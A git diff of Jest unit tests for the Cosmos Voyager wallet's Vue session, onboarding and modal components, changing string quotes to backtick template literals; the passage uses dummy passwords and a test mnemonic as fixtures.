b/test/unit/specs/components/common/TmModalReceive.spec.js @@ -1,7 +1,7 @@ import setup from "../../../helpers/vuex-setup" import TmModalReceive from "common/TmModalReceive" -describe("TmModalReceive", () => { +describe(`TmModalReceive`, () => { let wrapper, store let { mount } = setup() @@ -9,17 +9,17 @@ describe("TmModalReceive", () => { let instance = mount(TmModalReceive) wrapper = instance.wrapper store = instance.store - store.commit("setModalHelp", true) + store.commit(`setModalHelp`, true) }) - it("has the expected html structure", () => { + it(`has the expected html structure`, () => { expect(wrapper.vm.$el).toMatchSnapshot() }) - it("should hide", () => { + it(`should hide`, () => { wrapper.vm.close() wrapper.update() - expect(store.commit).toHaveBeenCalledWith("setModalReceive", false) + expect(store.commit).toHaveBeenCalledWith(`setModalReceive`, false) expect(wrapper.vm.$el).toMatchSnapshot() }) }) diff --git a/test/unit/specs/components/common/TmModalSearch.spec.js b/test/unit/specs/components/common/TmModalSearch.spec.js index bd4b8d7bae..09aaed5d7d 100644 --- a/test/unit/specs/components/common/TmModalSearch.spec.js +++ b/test/unit/specs/components/common/TmModalSearch.spec.js @@ -2,43 +2,43 @@ import TmModalSearch from "common/TmModalSearch" import setup from "../../../helpers/vuex-setup" import Vuelidate from "vuelidate" -describe("TmModalSearch", () => { +describe(`TmModalSearch`, () => { let wrapper, store let { mount, localVue } = setup() beforeEach(() => { - let instance = mount(TmModalSearch, { propsData: { type: "transactions" } }) + let instance = mount(TmModalSearch, { propsData: { type: `transactions` } }) localVue.use(Vuelidate) store = instance.store wrapper = instance.wrapper - store.commit("setSearchVisible", ["transactions", true]) + store.commit(`setSearchVisible`, [`transactions`, true]) wrapper.update() }) - it("has the expected html structure", () => { + it(`has the expected html structure`, () => { expect(wrapper.html()).not.toBeUndefined() expect(wrapper.vm.$el).toMatchSnapshot() }) - it("should close", () => { - wrapper.find("button").trigger("click") - expect(store.commit).toHaveBeenCalledWith("setSearchVisible", [ - "transactions", + it(`should close`, () => { + wrapper.find(`button`).trigger(`click`) + expect(store.commit).toHaveBeenCalledWith(`setSearchVisible`, [ + `transactions`, false ]) expect(wrapper.html()).toBeUndefined() }) - it("should show search query", () => { - store.commit("setSearchQuery", ["transactions", "abc"]) - expect(wrapper.vm.query).toBe("abc") + it(`should show search query`, () => { + store.commit(`setSearchQuery`, [`transactions`, `abc`]) + expect(wrapper.vm.query).toBe(`abc`) }) - it("should update the search query", () => { - wrapper.vm.query = "def" - expect(store.commit).toHaveBeenCalledWith("setSearchQuery", [ - "transactions", - "def" + it(`should update the search query`, () => { + wrapper.vm.query = `def` + expect(store.commit).toHaveBeenCalledWith(`setSearchQuery`, [ + `transactions`, + `def` ]) }) }) diff --git a/test/unit/specs/components/common/TmOnboarding.spec.js b/test/unit/specs/components/common/TmOnboarding.spec.js index 9fd6957ea3..0da033db4a 100644 --- a/test/unit/specs/components/common/TmOnboarding.spec.js +++ b/test/unit/specs/components/common/TmOnboarding.spec.js @@ -3,27 +3,27 @@ import htmlBeautify from "html-beautify" import setup from "../../../helpers/vuex-setup" jest.mock( - "../../../../../app/src/renderer/assets/images/onboarding/step-0.png", + `../../../../../app/src/renderer/assets/images/onboarding/step-0.png`, () => jest.fn() ) jest.mock( - "../../../../../app/src/renderer/assets/images/onboarding/step-1.png", + `../../../../../app/src/renderer/assets/images/onboarding/step-1.png`, () => jest.fn() ) jest.mock( - "../../../../../app/src/renderer/assets/images/onboarding/step-2.png", + `../../../../../app/src/renderer/assets/images/onboarding/step-2.png`, () => jest.fn() ) jest.mock( - "../../../../../app/src/renderer/assets/images/onboarding/step-3.png", + `../../../../../app/src/renderer/assets/images/onboarding/step-3.png`, () => jest.fn() ) jest.mock( - "../../../../../app/src/renderer/assets/images/onboarding/step-4.png", + `../../../../../app/src/renderer/assets/images/onboarding/step-4.png`, () => jest.fn() ) -describe("TmOnboarding", () => { +describe(`TmOnboarding`, () => { let wrapper, store, instance let { mount } = setup() @@ -34,62 +34,62 @@ describe("TmOnboarding", () => { wrapper.update() }) - it("has the expected html structure 0", () => { - store.commit("setOnboardingState", "0") + it(`has the expected html structure 0`, () => { + store.commit(`setOnboardingState`, `0`) expect(htmlBeautify(wrapper.html())).toMatchSnapshot() }) - it("has the expected html structure 1", () => { - store.commit("setOnboardingState", "1") + it(`has the expected html structure 1`, () => { + store.commit(`setOnboardingState`, `1`) wrapper.update() expect(htmlBeautify(wrapper.html())).toMatchSnapshot() }) - it("has the expected html structure 2", () => { - store.commit("setOnboardingState", "2") + it(`has the expected html structure 2`, () => { + store.commit(`setOnboardingState`, `2`) wrapper.update() expect(htmlBeautify(wrapper.html())).toMatchSnapshot() }) - it("has the expected html structure 3", () => { - store.commit("setOnboardingState", "3") + it(`has the expected html structure 3`, () => { + store.commit(`setOnboardingState`, `3`) wrapper.update() expect(htmlBeautify(wrapper.html())).toMatchSnapshot() }) - it("has the expected html structure 4", () => { - store.commit("setOnboardingState", "4") + it(`has the expected html structure 4`, () => { + store.commit(`setOnboardingState`, `4`) wrapper.update() expect(htmlBeautify(wrapper.html())).toMatchSnapshot() }) - it("can go to another onboarding node", () => { + it(`can go to another onboarding node`, () => { wrapper.vm.go(3) - expect(store.commit).toHaveBeenCalledWith("setOnboardingState", 3) + expect(store.commit).toHaveBeenCalledWith(`setOnboardingState`, 3) }) - it("can go to the next node", () => { + it(`can go to the next node`, () => { wrapper.vm.next() - expect(store.commit).toHaveBeenCalledWith("setOnboardingState", 1) + expect(store.commit).toHaveBeenCalledWith(`setOnboardingState`, 1) }) - it("can restart the onboarding", () => { + it(`can restart the onboarding`, () => { wrapper.vm.restart() - expect(store.commit).toHaveBeenCalledWith("setOnboardingState", 0) + expect(store.commit).toHaveBeenCalledWith(`setOnboardingState`, 0) }) - it("can finish the onboarding", () => { + it(`can finish the onboarding`, () => { wrapper.vm.finish() - expect(store.commit).toHaveBeenCalledWith("setOnboardingActive", false) - expect(store.commit).toHaveBeenCalledWith("setOnboardingState", 0) + expect(store.commit).toHaveBeenCalledWith(`setOnboardingActive`, false) + expect(store.commit).toHaveBeenCalledWith(`setOnboardingState`, 0) }) - it("has five onboarding nodes ", () => { + it(`has five onboarding nodes `, () => { expect(wrapper.vm.nodes.length).toBe(5) }) - it("has an active node", () => { + it(`has an active node`, () => { expect(wrapper.vm.activeKey).toBe(0) expect(wrapper.vm.activeValue).toBe( - "This is a quick tour of the primary features of Cosmos Voyager." + `This is a quick tour of the primary features of Cosmos Voyager.` ) expect(wrapper.vm.activeimg).toBeTruthy }) diff --git a/test/unit/specs/components/common/TmSession.spec.js b/test/unit/specs/components/common/TmSession.spec.js index e8f1b09ab2..692551d455 100644 --- a/test/unit/specs/components/common/TmSession.spec.js +++ b/test/unit/specs/components/common/TmSession.spec.js @@ -1,12 +1,12 @@ import Vuex from "vuex" import { mount, createLocalVue } from "@vue/test-utils" import TmSession from "common/TmSession" -const config = require("renderer/vuex/modules/config").default({}) +const config = require(`renderer/vuex/modules/config`).default({}) const localVue = createLocalVue() localVue.use(Vuex) -describe("TmSessionWelcome", () => { +describe(`TmSessionWelcome`, () => { let wrapper, store beforeEach(() => { @@ -18,60 +18,60 @@ describe("TmSessionWelcome", () => { localVue, store, stubs: { - "session-loading": "", - "session-welcome": "", - "session-sign-up": "", - "session-sign-in": "", - "session-hardware": "", - "session-import": "", - "session-account-delete": "" + "session-loading": ``, + "session-welcome": ``, + "session-sign-up": ``, + "session-sign-in": ``, + "session-hardware": ``, + "session-import": ``, + "session-account-delete": `` } }) }) - it("should show by default", () => { + it(`should show by default`, () => { expect(wrapper.isEmpty()).toBe(false) }) - it("should show a loading screen if activated", () => { - store.commit("setModalSession", true) + it(`should show a loading screen if activated`, () => { + store.commit(`setModalSession`, true) wrapper.update() - expect(wrapper.contains("session-loading")).toBe(true) + expect(wrapper.contains(`session-loading`)).toBe(true) }) - it("should show a welcome screen if selected", () => { - store.commit("setModalSession", true) - store.commit("setModalSessionState", "welcome") + it(`should show a welcome screen if selected`, () => { + store.commit(`setModalSession`, true) + store.commit(`setModalSessionState`, `welcome`) wrapper.update() - expect(wrapper.contains("session-welcome")).toBe(true) + expect(wrapper.contains(`session-welcome`)).toBe(true) }) - it("should show a signup screen if selected", () => { - store.commit("setModalSession", true) - store.commit("setModalSessionState", "sign-up") + it(`should show a signup screen if selected`, () => { + store.commit(`setModalSession`, true) + store.commit(`setModalSessionState`, `sign-up`) wrapper.update() - expect(wrapper.contains("session-sign-up")).toBe(true) + expect(wrapper.contains(`session-sign-up`)).toBe(true) }) - it("should show a signin screen if selected", () => { - store.commit("setModalSession", true) - store.commit("setModalSessionState", "sign-in") + it(`should show a signin screen if selected`, () => { + store.commit(`setModalSession`, true) + store.commit(`setModalSessionState`, `sign-in`) wrapper.update() - expect(wrapper.contains("session-sign-in")).toBe(true) + expect(wrapper.contains(`session-sign-in`)).toBe(true) }) - it("should show a hardware signin screen if selected", () => { - store.commit("setModalSession", true) - store.commit("setModalSessionState", "hardware") + it(`should show a hardware signin screen if selected`, () => { + store.commit(`setModalSession`, true) + store.commit(`setModalSessionState`, `hardware`) wrapper.update() - expect(wrapper.contains("session-hardware")).toBe(true) + expect(wrapper.contains(`session-hardware`)).toBe(true) }) - it("should show a account delete screen if selected", () => { - store.commit("setModalSession", true) - store.commit("setModalSessionState", "delete") + it(`should show a account delete screen if selected`, () => { + store.commit(`setModalSession`, true) + store.commit(`setModalSessionState`, `delete`) wrapper.update() - expect(wrapper.contains("session-account-delete")).toBe(true) + expect(wrapper.contains(`session-account-delete`)).toBe(true) }) // it('should show a import screen if selected', () => { diff --git a/test/unit/specs/components/common/TmSessionAccountDelete.spec.js b/test/unit/specs/components/common/TmSessionAccountDelete.spec.js index e3930994ae..43de28c368 100644 --- a/test/unit/specs/components/common/TmSessionAccountDelete.spec.js +++ b/test/unit/specs/components/common/TmSessionAccountDelete.spec.js @@ -8,7 +8,7 @@ const localVue = createLocalVue() localVue.use(Vuex) localVue.use(Vuelidate) -describe("TmSessionAccountDelete", () => { +describe(`TmSessionAccountDelete`, () => { let wrapper, store beforeEach(() => { @@ -22,77 +22,77 @@ describe("TmSessionAccountDelete", () => { wrapper.update() }) - it("has the expected html structure", () => { + it(`has the expected html structure`, () => { expect(htmlBeautify(wrapper.html())).toMatchSnapshot() }) - it("should go back to the login screen on click", () => { + it(`should go back to the login screen on click`, () => { wrapper - .findAll(".tm-session-header a") + .findAll(`.tm-session-header a`) .at(0) - .trigger("click") + .trigger(`click`) expect(store.commit.mock.calls[0]).toEqual([ - "setModalSessionState", - "sign-in" + `setModalSessionState`, + `sign-in` ]) }) - it("should open the help modal on click", () => { + it(`should open the help modal on click`, () => { wrapper - .findAll(".tm-session-header a") + .findAll(`.tm-session-header a`) .at(1) - .trigger("click") - expect(store.commit.mock.calls[0]).toEqual(["setModalHelp", true]) + .trigger(`click`) + expect(store.commit.mock.calls[0]).toEqual([`setModalHelp`, true]) }) - it("should go back on successful deletion", async () => { + it(`should go back on successful deletion`, async () => { wrapper.setData({ fields: { - deletionPassword: "1234567890", + deletionPassword: `1234567890`, deletionWarning: true } }) await wrapper.vm.onSubmit() expect(store.commit.mock.calls[0]).toEqual([ - "setModalSessionState", - "welcome" + `setModalSessionState`, + `welcome` ]) }) - it("should show error if password not 10 long", async () => { + it(`should show error if password not 10 long`, async () => { wrapper.setData({ fields: { - deletionPassword: "123", + deletionPassword: `123`, deletionWarning: true } }) await wrapper.vm.onSubmit() expect(store.commit.mock.calls[0]).toBeUndefined() - expect(wrapper.find(".tm-form-msg-error")).toBeDefined() + expect(wrapper.find(`.tm-form-msg-error`)).toBeDefined() }) - it("should show error if deletionWarning is not acknowledged", async () => { + it(`should show error if deletionWarning is not acknowledged`, async () => { wrapper.setData({ fields: { - deletionPassword: "1234567890", + deletionPassword: `1234567890`, deletionWarning: false } }) await wrapper.vm.onSubmit() expect(store.commit.mock.calls[0]).toBeUndefined() - expect(wrapper.find(".tm-form-msg-error")).toBeDefined() + expect(wrapper.find(`.tm-form-msg-error`)).toBeDefined() }) - it("should show a notification if deletion failed", async () => { - store.dispatch = jest.fn(() => Promise.reject("Planned rejection")) + it(`should show a notification if deletion failed`, async () => { + store.dispatch = jest.fn(() => Promise.reject(`Planned rejection`)) wrapper.setData({ fields: { - deletionPassword: "1234567890", + deletionPassword: `1234567890`, deletionWarning: true } }) await wrapper.vm.onSubmit() expect(store.commit).toHaveBeenCalled() - expect(store.commit.mock.calls[0][0]).toBe("notifyError") + expect(store.commit.mock.calls[0][0]).toBe(`notifyError`) }) }) diff --git a/test/unit/specs/components/common/TmSessionHardware.spec.js b/test/unit/specs/components/common/TmSessionHardware.spec.js index 80d663af82..72a4d2028d 100644 --- a/test/unit/specs/components/common/TmSessionHardware.spec.js +++ b/test/unit/specs/components/common/TmSessionHardware.spec.js @@ -8,7 +8,7 @@ const localVue = createLocalVue() localVue.use(Vuex) localVue.use(Vuelidate) -describe("NISessionHardware", () => { +describe(`NISessionHardware`, () => { let wrapper, store beforeEach(() => { @@ -20,37 +20,37 @@ describe("NISessionHardware", () => { store.commit = jest.fn() }) - it("has the expected html structure", () => { + it(`has the expected html structure`, () => { expect(htmlBeautify(wrapper.html())).toMatchSnapshot() }) - it("should go back to the welcome screen on click", () => { + it(`should go back to the welcome screen on click`, () => { wrapper - .findAll(".tm-session-header a") + .findAll(`.tm-session-header a`) .at(0) - .trigger("click") - expect(store.commit.mock.calls[0][0]).toBe("setModalSessionState") - expect(store.commit.mock.calls[0][1]).toBe("welcome") + .trigger(`click`) + expect(store.commit.mock.calls[0][0]).toBe(`setModalSessionState`) + expect(store.commit.mock.calls[0][1]).toBe(`welcome`) }) - it("should open the help modal on click", () => { + it(`should open the help modal on click`, () => { wrapper - .findAll(".tm-session-header a") + .findAll(`.tm-session-header a`) .at(1) - .trigger("click") - expect(store.commit.mock.calls[0]).toEqual(["setModalHelp", true]) + .trigger(`click`) + expect(store.commit.mock.calls[0]).toEqual([`setModalHelp`, true]) }) - it("should show a state indicator for different states of the hardware connection", () => { - wrapper.setData({ status: "connect" }) + it(`should show a state indicator for different states of the hardware connection`, () => { + wrapper.setData({ status: `connect` }) wrapper.update() expect(wrapper.html()).toMatchSnapshot() - wrapper.setData({ status: "detect" }) + wrapper.setData({ status: `detect` }) wrapper.update() expect(wrapper.html()).toMatchSnapshot() - wrapper.setData({ status: "success" }) + wrapper.setData({ status: `success` }) wrapper.update() expect(wrapper.html()).toMatchSnapshot() }) diff --git a/test/unit/specs/components/common/TmSessionImport.spec.js b/test/unit/specs/components/common/TmSessionImport.spec.js index 45debbdd3d..8844d43982 100644 --- a/test/unit/specs/components/common/TmSessionImport.spec.js +++ b/test/unit/specs/components/common/TmSessionImport.spec.js @@ -3,14 +3,13 @@ import Vuelidate from "vuelidate" import { mount, createLocalVue } from "@vue/test-utils" import htmlBeautify from "html-beautify" import TmSessionImport from "common/TmSessionImport" -jest.mock("renderer/google-analytics.js", () => () => {}) -const seed = - "goose toward escape engine wheel board help torch avocado educate rose rebel rigid side aspect abandon grace admit inherit female grant pledge shine inquiry" +jest.mock(`renderer/google-analytics.js`, () => () => {}) +const seed = `goose toward escape engine wheel board help torch avocado educate rose rebel rigid side aspect abandon grace admit inherit female grant pledge shine inquiry` const localVue = createLocalVue() localVue.use(Vuex) localVue.use(Vuelidate) -describe("TmSessionImport", () => { +describe(`TmSessionImport`, () => { let wrapper, store beforeEach(() => { @@ -27,33 +26,33 @@ describe("TmSessionImport", () => { store.dispatch = jest.fn(async () => true) }) - it("has the expected html structure", () => { + it(`has the expected html structure`, () => { expect(htmlBeautify(wrapper.html())).toMatchSnapshot() }) - it("should go back to the welcome screen on click", () => { + it(`should go back to the welcome screen on click`, () => { wrapper - .findAll(".tm-session-header a") + .findAll(`.tm-session-header a`) .at(0) - .trigger("click") - expect(store.commit.mock.calls[0][0]).toBe("setModalSessionState") - expect(store.commit.mock.calls[0][1]).toBe("welcome") + .trigger(`click`) + expect(store.commit.mock.calls[0][0]).toBe(`setModalSessionState`) + expect(store.commit.mock.calls[0][1]).toBe(`welcome`) }) - it("should open the help modal on click", () => { + it(`should open the help modal on click`, () => { wrapper - .findAll(".tm-session-header a") + .findAll(`.tm-session-header a`) .at(1) - .trigger("click") - expect(store.commit.mock.calls[0]).toEqual(["setModalHelp", true]) + .trigger(`click`) + expect(store.commit.mock.calls[0]).toEqual([`setModalHelp`, true]) }) - it("should close the modal on successful login", async () => { + it(`should close the modal on successful login`, async () => { wrapper.setData({ fields: { - importName: "foo123", - importPassword: "1234567890", - importPasswordConfirm: "1234567890", + importName: `foo123`, + importPassword: `1234567890`, + importPasswordConfirm: `1234567890`, importSeed: seed } }) @@ -61,38 +60,38 @@ describe("TmSessionImport", () => { expect( store.commit.mock.calls.find( - ([action]) => action === "setModalSession" + ([action]) => action === `setModalSession` )[1] ).toBe(false) }) - it("should signal signed in state on successful login", async () => { + it(`should signal signed in state on successful login`, async () => { wrapper.setData({ fields: { - importName: "foo123", - importPassword: "1234567890", - importPasswordConfirm: "1234567890", + importName: `foo123`, + importPassword: `1234567890`, + importPasswordConfirm: `1234567890`, importSeed: seed } }) await wrapper.vm.onSubmit() expect( store.commit.mock.calls - .find(([action]) => action === "notify")[1] + .find(([action]) => action === `notify`)[1] .title.toLowerCase() - ).toContain("welcome back!") - expect(store.dispatch).toHaveBeenCalledWith("signIn", { - account: "foo123", - password: "1234567890" + ).toContain(`welcome back!`) + expect(store.dispatch).toHaveBeenCalledWith(`signIn`, { + account: `foo123`, + password: `1234567890` }) }) - it("should set error collection opt in state", async () => { + it(`should set error collection opt in state`, async () => { wrapper.setData({ fields: { - importName: "foo123", - importPassword: "1234567890", - importPasswordConfirm: "1234567890", + importName: `foo123`, + importPassword: `1234567890`, + importPasswordConfirm: `1234567890`, importSeed: seed, errorCollection: true } @@ -100,18 +99,18 @@ describe("TmSessionImport", () => { await wrapper.vm.onSubmit() expect( store.dispatch.mock.calls.find( - ([action]) => action === "setErrorCollection" + ([action]) => action === `setErrorCollection` )[1] ).toMatchObject({ - account: "foo123", + account: `foo123`, optin: true }) wrapper.setData({ fields: { - importName: "foo123", - importPassword: "1234567890", - importPasswordConfirm: "1234567890", + importName: `foo123`, + importPassword: `1234567890`, + importPasswordConfirm: `1234567890`, importSeed: seed, errorCollection: false } @@ -120,53 +119,53 @@ describe("TmSessionImport", () => { await wrapper.vm.onSubmit() expect( store.dispatch.mock.calls.find( - ([action]) => action === "setErrorCollection" + ([action]) => action === `setErrorCollection` )[1] ).toMatchObject({ - account: "foo123", + account: `foo123`, optin: false }) }) - it("should show error if seed is not filled in", async () => { - wrapper.setData({ fields: { importSeed: "" } }) + it(`should show error if seed is not filled in`, async () => { + wrapper.setData({ fields: { importSeed: `` } }) await wrapper.vm.onSubmit() expect(store.commit.mock.calls[0]).toBeUndefined() - expect(wrapper.find(".tm-form-msg-error")).toBeDefined() + expect(wrapper.find(`.tm-form-msg-error`)).toBeDefined() }) - it("should show error if seed is 16 words long", async () => { + it(`should show error if seed is 16 words long`, async () => { wrapper.setData({ fields: { - importSeed: "asdf asdf asdf asdf" + importSeed: `asdf asdf asdf asdf` } }) await wrapper.vm.onSubmit() expect(store.commit.mock.calls[0]).toBeUndefined() - expect(wrapper.find(".tm-form-msg-error")).toBeDefined() + expect(wrapper.find(`.tm-form-msg-error`)).toBeDefined() }) - it("should show error if password is not confirmed", async () => { + it(`should show error if password is not confirmed`, async () => { wrapper.setData({ fields: { - importName: "foo123", - importPassword: "1234567890", - importPasswordConfirm: "notthesame", + importName: `foo123`, + importPassword: `1234567890`, + importPasswordConfirm: `notthesame`, importSeed: seed } }) await wrapper.vm.onSubmit() expect(store.commit.mock.calls[0]).toBeUndefined() - expect(wrapper.find(".tm-form-msg-error")).toBeDefined() + expect(wrapper.find(`.tm-form-msg-error`)).toBeDefined() }) - it("should not continue if creation failed", async () => { + it(`should not continue if creation failed`, async () => { store.dispatch = jest.fn(() => Promise.resolve(null)) wrapper.setData({ fields: { - importName: "foo123", - importPassword: "1234567890", - importPasswordConfirm: "1234567890", + importName: `foo123`, + importPassword: `1234567890`, + importPasswordConfirm: `1234567890`, importSeed: seed } }) @@ -174,18 +173,18 @@ describe("TmSessionImport", () => { expect(store.commit).not.toHaveBeenCalled() }) - it("should show a notification if creation failed", async () => { - store.dispatch = jest.fn(() => Promise.reject({ message: "test" })) + it(`should show a notification if creation failed`, async () => { + store.dispatch = jest.fn(() => Promise.reject({ message: `test` })) wrapper.setData({ fields: { - importName: "foo123", - importPassword: "1234567890", - importPasswordConfirm: "1234567890", + importName: `foo123`, + importPassword: `1234567890`, + importPasswordConfirm: `1234567890`, importSeed: seed } }) await wrapper.vm.onSubmit() - expect(store.commit.mock.calls[0][0]).toEqual("notifyError") - expect(store.commit.mock.calls[0][1].body).toEqual("test") + expect(store.commit.mock.calls[0][0]).toEqual(`notifyError`) + expect(store.commit.mock.calls[0][1].body).toEqual(`test`) }) }) diff --git a/test/unit/specs/components/common/TmSessionLoading.spec.js b/test/unit/specs/components/common/TmSessionLoading.spec.js index cdb1f729fc..5ade9b09ee 100644 --- a/test/unit/specs/components/common/TmSessionLoading.spec.js +++ b/test/unit/specs/components/common/TmSessionLoading.spec.js @@ -2,25 +2,25 @@ import { mount } from "@vue/test-utils" import htmlBeautify from "html-beautify" import TmSessionLoading from "common/TmSessionLoading" -describe("TmSessionLoading", () => { +describe(`TmSessionLoading`, () => { let wrapper beforeEach(() => { - require("electron").ipcRenderer.on = (event, cb) => { - if (event === "connection-status") { - cb(null, "HALLO WORLD") + require(`electron`).ipcRenderer.on = (event, cb) => { + if (event === `connection-status`) { + cb(null, `HALLO WORLD`) } } wrapper = mount(TmSessionLoading) wrapper.update() }) - it("has the expected html structure", () => { + it(`has the expected html structure`, () => { expect(htmlBeautify(wrapper.html())).toMatchSnapshot() }) - it("should show connection status", () => { + it(`should show connection status`, () => { wrapper.update() - expect(wrapper.html()).toContain("HALLO WORLD") + expect(wrapper.html()).toContain(`HALLO WORLD`) }) }) diff --git a/test/unit/specs/components/common/TmSessionSignIn.spec.js b/test/unit/specs/components/common/TmSessionSignIn.spec.js index 7783cc3c6d..e8aa811a85 100644 --- a/test/unit/specs/components/common/TmSessionSignIn.spec.js +++ b/test/unit/specs/components/common/TmSessionSignIn.spec.js @@ -6,7 +6,7 @@ import TmSessionSignIn from "common/TmSessionSignIn" let instance = setup() instance.localVue.use(Vuelidate) -describe("TmSessionSignIn", () => { +describe(`TmSessionSignIn`, () => { let wrapper, store beforeEach(() => { @@ -19,65 +19,65 @@ describe("TmSessionSignIn", () => { wrapper = test.wrapper }) - it("has the expected html structure", () => { + it(`has the expected html structure`, () => { expect(htmlBeautify(wrapper.html())).toMatchSnapshot() }) - it("should open the help modal on click", () => { + it(`should open the help modal on click`, () => { wrapper - .findAll(".tm-session-header a") + .findAll(`.tm-session-header a`) .at(1) - .trigger("click") - expect(store.commit).toHaveBeenCalledWith("setModalHelp", true) + .trigger(`click`) + expect(store.commit).toHaveBeenCalledWith(`setModalHelp`, true) }) - it("should close the modal on successful login", async () => { + it(`should close the modal on successful login`, async () => { wrapper.setData({ fields: { - signInPassword: "1234567890", - signInName: "default" + signInPassword: `1234567890`, + signInName: `default` } }) await wrapper.vm.onSubmit() let calls = store.commit.mock.calls.map(args => args[0]) - expect(calls).toContain("setModalSession") + expect(calls).toContain(`setModalSession`) }) - it("should signal signedin state on successful login", async () => { + it(`should signal signedin state on successful login`, async () => { wrapper.setData({ fields: { - signInPassword: "1234567890", - signInName: "default" + signInPassword: `1234567890`, + signInName: `default` } }) await wrapper.vm.onSubmit() - expect(store.dispatch).toHaveBeenCalledWith("signIn", { - password: "1234567890", - account: "default" + expect(store.dispatch).toHaveBeenCalledWith(`signIn`, { + password: `1234567890`, + account: `default` }) }) - it("should show error if password not 10 long", () => { - wrapper.setData({ fields: { signInPassword: "123" } }) + it(`should show error if password not 10 long`, () => { + wrapper.setData({ fields: { signInPassword: `123` } }) wrapper.vm.onSubmit() expect(store.commit.mock.calls[1]).toBeUndefined() - expect(wrapper.find(".tm-form-msg-error")).toBeDefined() + expect(wrapper.find(`.tm-form-msg-error`)).toBeDefined() }) - it("should show a notification if signin failed", async () => { - store.dispatch = jest.fn(() => Promise.reject("Planned rejection")) + it(`should show a notification if signin failed`, async () => { + store.dispatch = jest.fn(() => Promise.reject(`Planned rejection`)) wrapper.setData({ fields: { - signInPassword: "1234567890", - signInName: "default" + signInPassword: `1234567890`, + signInName: `default` } }) await wrapper.vm.onSubmit() expect(store.commit).toHaveBeenCalled() - expect(store.commit.mock.calls[0][0]).toBe("notifyError") + expect(store.commit.mock.calls[0][0]).toBe(`notifyError`) }) - it("should set the default password in mocked mode", async () => { + it(`should set the default password in mocked mode`, async () => { let test = instance.mount(TmSessionSignIn, { getters: { mockedConnector: () => true, @@ -87,24 +87,24 @@ describe("TmSessionSignIn", () => { store = test.store wrapper = test.wrapper - expect(wrapper.vm.fields.signInPassword).toBe("1234567890") - expect(wrapper.html()).toContain("1234567890") + expect(wrapper.vm.fields.signInPassword).toBe(`1234567890`) + expect(wrapper.html()).toContain(`1234567890`) expect(wrapper.html()).toMatchSnapshot() }) - it("should reset history after signin", async () => { + it(`should reset history after signin`, async () => { expect(store.state.user.history.length).toBe(0) wrapper.setData({ fields: { - signInPassword: "1234567890", - signInName: "default" + signInPassword: `1234567890`, + signInName: `default` } }) await wrapper.vm.onSubmit() expect(store.state.user.history.length).toBe(0) - wrapper.vm.$router.push("/staking") + wrapper.vm.$router.push(`/staking`) wrapper.update() expect(store.state.user.history.length).toBe(1) - store.dispatch("signOut") + store.dispatch(`signOut`) expect(store.state.user.history.length).toBe(0) }) }) diff --git a/test/unit/specs/components/common/TmSessionSignUp.spec.js b/test/unit/specs/components/common/TmSessionSignUp.spec.js index 6d11867d81..6d52a5f0c6 100644 --- a/test/unit/specs/components/common/TmSessionSignUp.spec.js +++ b/test/unit/specs/components/common/TmSessionSignUp.spec.js @@ -2,12 +2,12 @@ import setup from "../../../helpers/vuex-setup" import Vuelidate from "vuelidate" import htmlBeautify from "html-beautify" import NISessionSignUp from "common/TmSessionSignUp" -jest.mock("renderer/google-analytics.js", () => () => {}) +jest.mock(`renderer/google-analytics.js`, () => () => {}) let instance = setup() instance.localVue.use(Vuelidate) -describe("NISessionSignUp", () => { +describe(`NISessionSignUp`, () => { let wrapper, store beforeEach(() => { @@ -20,69 +20,69 @@ describe("NISessionSignUp", () => { wrapper = test.wrapper }) - it("has the expected html structure", () => { + it(`has the expected html structure`, () => { wrapper.update() expect(htmlBeautify(wrapper.html())).toMatchSnapshot() }) - it("should go back to the welcome screen on click", () => { + it(`should go back to the welcome screen on click`, () => { wrapper - .findAll(".tm-session-header a") + .findAll(`.tm-session-header a`) .at(0) - .trigger("click") - expect(store.commit.mock.calls[0][0]).toBe("setModalSessionState") - expect(store.commit.mock.calls[0][1]).toBe("welcome") + .trigger(`click`) + expect(store.commit.mock.calls[0][0]).toBe(`setModalSessionState`) + expect(store.commit.mock.calls[0][1]).toBe(`welcome`) }) - it("should open the help modal on click", () => { + it(`should open the help modal on click`, () => { wrapper - .findAll(".tm-session-header a") + .findAll(`.tm-session-header a`) .at(1) - .trigger("click") - expect(store.commit.mock.calls[0]).toEqual(["setModalHelp", true]) + .trigger(`click`) + expect(store.commit.mock.calls[0]).toEqual([`setModalHelp`, true]) }) - it("should close the modal on successful login", async () => { + it(`should close the modal on successful login`, async () => { wrapper.setData({ fields: { - signUpPassword: "1234567890", - signUpPasswordConfirm: "1234567890", - signUpSeed: "bar", // <-- doesn#t check for correctness of seed - signUpName: "testaccount", + signUpPassword: `1234567890`, + signUpPasswordConfirm: `1234567890`, + signUpSeed: `bar`, // <-- doesn#t check for correctness of seed + signUpName: `testaccount`, signUpWarning: true } }) await wrapper.vm.onSubmit() - expect(store.commit).toHaveBeenCalledWith("setModalSession", false) + expect(store.commit).toHaveBeenCalledWith(`setModalSession`, false) }) - it("should signal signedin state on successful login", async () => { + it(`should signal signedin state on successful login`, async () => { wrapper.setData({ fields: { - signUpPassword: "1234567890", - signUpPasswordConfirm: "1234567890", - signUpSeed: "bar", // <-- doesn#t check for correctness of seed - signUpName: "testaccount", + signUpPassword: `1234567890`, + signUpPasswordConfirm: `1234567890`, + signUpSeed: `bar`, // <-- doesn#t check for correctness of seed + signUpName: `testaccount`, signUpWarning: true } }) await wrapper.vm.onSubmit() expect( - store.commit.mock.calls.find(([action]) => action === "notify")[1] + store.commit.mock.calls.find(([action]) => action === `notify`)[1] ).toMatchSnapshot() - expect(store.dispatch).toHaveBeenCalledWith("signIn", { - password: "1234567890", - account: "testaccount" + expect(store.dispatch).toHaveBeenCalledWith(`signIn`, { + password: `1234567890`, + account: `testaccount` }) }) - it("should set error collection opt in state", async () => { + it(`should set error collection opt in state`, async () => { wrapper.setData({ fields: { - signUpPassword: "1234567890", - signUpPasswordConfirm: "1234567890", - signUpSeed: "bar", // <-- doesn#t check for correctness of seed - signUpName: "testaccount", + signUpPassword: `1234567890`, + signUpPasswordConfirm: `1234567890`, + signUpSeed: `bar`, // <-- doesn#t check for correctness of seed + signUpName: `testaccount`, signUpWarning: true, errorCollection: true } @@ -90,19 +90,19 @@ describe("NISessionSignUp", () => { await wrapper.vm.onSubmit() expect( store.dispatch.mock.calls.find( - ([action]) => action === "setErrorCollection" + ([action]) => action === `setErrorCollection` )[1] ).toMatchObject({ - account: "testaccount", + account: `testaccount`, optin: true }) wrapper.setData({ fields: { - signUpPassword: "1234567890", - signUpPasswordConfirm: "1234567890", - signUpSeed: "bar", // <-- doesn#t check for correctness of seed - signUpName: "testaccount", + signUpPassword: `1234567890`, + signUpPasswordConfirm: `1234567890`, + 